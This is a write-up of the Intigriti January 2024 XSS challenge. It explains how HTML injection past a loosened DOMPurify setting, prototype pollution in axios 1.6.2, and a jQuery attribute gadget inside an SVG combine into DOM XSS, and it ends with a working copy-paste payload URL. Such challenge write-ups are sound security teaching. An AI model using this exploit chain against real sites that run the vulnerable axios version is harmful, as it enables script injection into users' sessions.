The bug bounty platform Intigriti releases monthly XSS challenges on Twitter, that are always a lot of fun. This writeup is on the January 2024 XSS challenge by Kévin Mizu hosted at https://challenge-0124.intigriti.io/ . The challenge combines jQuery, DOMPurify, and an old version of axios in a sneaky way to introduce a DOM-XSS vulnerability.
Challenge overview
The challenge is a simple node.js express server with server-side templating using ejs. There are two pages with three endpoints. The first page asks for a name and puts it into the name
query param.
On the second page, name
is rendered and a search box can be used to search through a static repos.json
file that only contains safe data. The search is performed using jQuery, which grabs the search form by its id #search
and passes the returned HTML element to axios to make the POST request. axios gracefully reads all the form data from form element, converts it into JSON, and makes the request. The result is then added to the page using jQuery again. There is no obvious XSS sink involved here, as $('#foo').attr()
and $('#foo').text()
don’t render HTML.
function search(name) {
axios.post("/search", $("#search").get(0), {
"headers": { "Content-Type": "application/json" }
}).then((d) => {
const repo = d.data;
if (!repo.owner) {
alert("Not found!");
return;
};
$("img.avatar").attr("src", repo.owner.avatar_url);
$("#description").text(repo.description);
if (repo.homepage && repo.homepage.startsWith("https://")) {
$("#homepage").attr({
"src": repo.homepage,
"hidden": false
});
};
});
};
Creating our own search form
The only thing we really have control over is the name
param. This parameter is not encoded while being rendered on the server-side, because <%- name %>
is used in the ejs template. The <%- %>
syntax from ejs
directly renders the value instead of encoding all HTML entities. This isn’t directly XSS though, because name
is sanitized using server-side DOMPurify.
app.get("/", (req, res) => {
// ...
res.render("search", {
name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }),
search: req.query.search
});
}
DOMPurify is usually safe for preventing XSS attacks. It is also very configurable to meet the needs of devs. As a researcher, it can be useful to look into custom configurations of DOMPurify to see if the config is unsafe. Here, SANITIZE_DOM
is set to false
. A quick lookup reveals that this option turns off any DOM Clobbering protections, and that this is turned on by default.
DOM Clobbering
is a niche browser vulnerability class, where attackers can (over-) write values in window
and document
using only HTML with id
and name
attributes. This can change the behavior of existing scripts without needing a full XSS vulnerability, just an HTML injection. We will see that no true DOMClobbering is involved in this challenge. The challenge author could have even omitted the SANITIZE_DOM
option. I guess it is there as a nudge in the right direction.
Using this HTML injection, we can inject arbitrary HTML elements with our own id
and name
values. Because the injection is at the top of the page, we can confuse the main script to select our injected elements when it searches for the search form or other elements. This can be combined with a convenient onload
handler in the main script which calls the search()
function. So now we have the capability to search for arbitrary stuff by making a victim click on a link:
https://challenge-0124.intigriti.io/challenge?
name=<form id=search><input name=q value=alfred>
&search=trigger-onload
Polluting the client’s prototype to set arbitrary attributes
We can now send JSON with arbitrary properties to the server using additional input elements. But after checking the server-side code, there is no way to abuse this. Only safe values from the static repos.json
are returned by the server.
Going through my mental checklist of common client-side attack surface, DOM Clobbering
comes to mind. Unfortunately, DOM Clobbering is not useful here, because we can only write to undefined global variables (which are properties of window
) and properties of document
. The script does not read from any undefined globals, it only uses local variables which are safe from being clobbered.
What is Prototype Pollution?
The next vuln class to look at is Prototype Pollution (PP). Exploits using Prototype Pollution usually need two parts: a PP vulnerability that pollutes the prototype, and a PP gadget that enumerates the properties of a different object.
A PP vulnerability is usually a some type of recursive object merge code or object creation / property access by an arbitrary string path. The code is vulnerable when it doesn’t check for special object properties like __proto__, prototype, constructor
. By including __proto__
in the path that is written to, the global object prototype is modified. And this affects all normal JS objects afterwards, that seem to be completely separate from the modified object but actually aren’t. Here’s a simplified example:
function writeToPath(obj, path, value) {
const segments = path.split(".");
for (let segment of segments.slice(0, -1)) {
obj = obj[segment];
}
obj[segments.at(-1)] = value;
}
const a = {};
writeToPath(a, "__proto__.foo", "bar"); // somehow triggered by attacker
const b = {};
console.log(b.foo); // bar
A PP gadget on the other hand is some code that reads properties from some other object and does something dangerous with the value. Devs can check if the read property stems from the prototype or not, but it is only done in very hardened libraries. An example of a gadget:
const a = {};
writeToPath(a, "__proto__.html", "<img src onerror=alert()>");
const config = {};
if (config.html) { // reads the property from the prototype!
document.body.innerHTML = config.html;
}
Where is a Prototype Pollution vulnerability?
There is no PP vulnerability in the main script, as there is no recursive object property access. But what about third-party libraries? The challenge uses jQuery 3.7.1, the newest version (and I don’t think we have to find a 0-day). It also axios, where the version number is not put into the filename of the script. Digging around in the minified script, we can find the version number 1.6.2. And looking at the GitHub releases of axios or its snyk page , we find that there is indeed a freshly fixed PP vulnerability, that is still there in 1.6.2. Very nice!
Looking at the fix
, we can see that the function formDataToJSON()
is vulnerable. This sounds exactly like the thing we need, as we can already put arbitrary form inputs into axios. Looking at the entire file formDataToJSON.js
, we see that first the name of each form input is read as a path to a newly created object. Then the path is recursively followed to create a nested object structure. This is the point were the __proto__
check is missing.
So with an injected form element like this, we can pollute the object prototype in any way we want. Now we only need a useful location to exploit this capability.
<form id=search>
<input name=__proto__.owner value=polluted>
</form>
And now for the gadget
As there is not much main code that does something, finding the gadget is not that hard. The only code involving a plain object with the polluted prototype is at the end of the script, where the attribute of #homepage
is set. As expected, jQuery is not doublechecking the passed object and simply iterates over all the properties to set multiple attributes. This way we can set arbitrary attributes.
$("#homepage").attr({
"src": repo.homepage,
"hidden": false
// "foo": "bar" added by pollution
});
To exploit this, we want an eventhandler payload that can trigger after the page load. We can achieve this by inserting our own image tag with a #homepage
id. This will in theory set the src
attribute of that image with a polluted homepage value and the onerror
attribute, leading to XSS.
<!-- injected HTML -->
<img id=homepage>
<form id=search>
<input name=__proto__.owner value=polluted>
<input name=__proto__.onerror value=alert(origin)>
<input name=__proto__.homepage value=https://example.com>
</form>
$("#homepage").attr({
"src": repo.homepage, // polluted value https://example.com
"hidden": false
// "onerror": "alert(origin)" additionally added by pollution
});
Wait what? The prototype pollution is breaking something inside jQuery, so this payload does not work. Let’s investigate inside the jQuery source code.
Namespaces make our lives more difficult
Finding the culprit
The error is somewhere inside the minified $('foo').attr()
function. This function is in turn called for each property-value pair of the object passed to .attrs()
. This seems to also include the polluted values.
The hooks
variable is first read from the jQuery.attrHooks
object using name
. Usually this is undefined
, as the main script did not register any hooking functions. But because of Prototype Pollution, the polluted values like onerror
are also read here. Further down, there is an in
operator used. This operator does not work on Strings and throws an error. So we never reach the actual setAttribute()
call directly below and the payload is never executed.
// attr(<img>, "onerror", "alert(origin)")
attr: function( elem, name, value ) {
var ret, hooks;
var nType = elem.nodeType;
// ...
if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
// reads polluted value into hooks
hooks = jQuery.attrHooks[ name.toLowerCase() ];
}
if ( value !== undefined ) {
if ( value === null ) {
jQuery.removeAttr( elem, name );
return;
}
// hooks = "alert(origin)" instead of undefined
// in operator fails
if ( hooks && "set" in hooks &&
( ret = hooks.set( elem, value, name ) ) !== undefined ) {
return ret;
}
// goal
elem.setAttribute( name, value );
return value;
}
// ...
To bypass this error, we want to fail the check where the hooks variable is read: nType !== 1 || !jQuery.isXMLDoc( elem )
; While still getting a working XSS payload.
Finding a weirder payload that works
The first half of the check elem.nodeType !== 1
always fails, because the node type of elements is 1
. Other node types
include comments, raw text, and so on. So we can disregard that check.
Previously, we used a simple <img>
element. We can guess that for <img>
, jQuery.isXMLDoc(<img>)
is false
, so we don’t fail the check and read the hooks value. But what other elements can we insert here that are seen as an XMLDoc? The simplified logic of jQuery.isXMLDoc()
looks like this. It just checks if the namespaceURI
property of the element ends with "HTML"
or not.
isXMLDoc: function( elem ) {
const rhtmlSuffix = /HTML$/i;
return !rhtmlSuffix.test(elem.namespaceURI || "HTML");
}
For <img>
, the namespaceURI
is http://www.w3.org/1999/xhtml
which ends in "html"
, but for <svg>
it is http://www.w3.org/2000/svg
. The same goes for all valid child elements of an <svg>
. So we can port our previous payload to an <image>
element inside an <svg>
and get our expected behavior. <image>
uses the href
attribute instead of src
, so we add an additional <input>
element for that.
<!-- injected HTML -->
<svg>
<image id=homepage>
</svg>
<form id=search>
<input name=__proto__.owner value=polluted>
<input name=__proto__.homepage value=https://example.com>
<input name=__proto__.href value=x>
<input name=__proto__.onerror value=alert(origin)>
</form>
Final payload
Putting it all together, for the lazy readers 😉:
https://challenge-0124.intigriti.io/challenge?search=a&
name=<svg>
<image id=homepage>
</svg>
<form id=search>
<input name=__proto__.owner value=bar>
<input name=__proto__.homepage value='https://example.com'>
<input name=__proto__.href value=x>
<input name=__proto__.onerror value='alert(origin)'>
</form>
And for copy-pasting:
https://challenge-0124.intigriti.io/challenge?search=a&name=%3Csvg%3E%3Cimage%20id=homepage%3E%3C/svg%3E%3Cform%20id=search%3E%3Cinput%20name=__proto__.owner%20value=bar%3E%3Cinput%20name=__proto__.onerror%20value=%27alert(origin)%27%3E%3Cinput%20name=__proto__.href%20value=x%3E%3Cinput%20name=__proto__.homepage%20value=%27https://example.com%27%3E
Thanks to Kévin Mizu and intigriti for hosting this fun challenge, it definitely robbed a few hours of precious sleep from me 😁.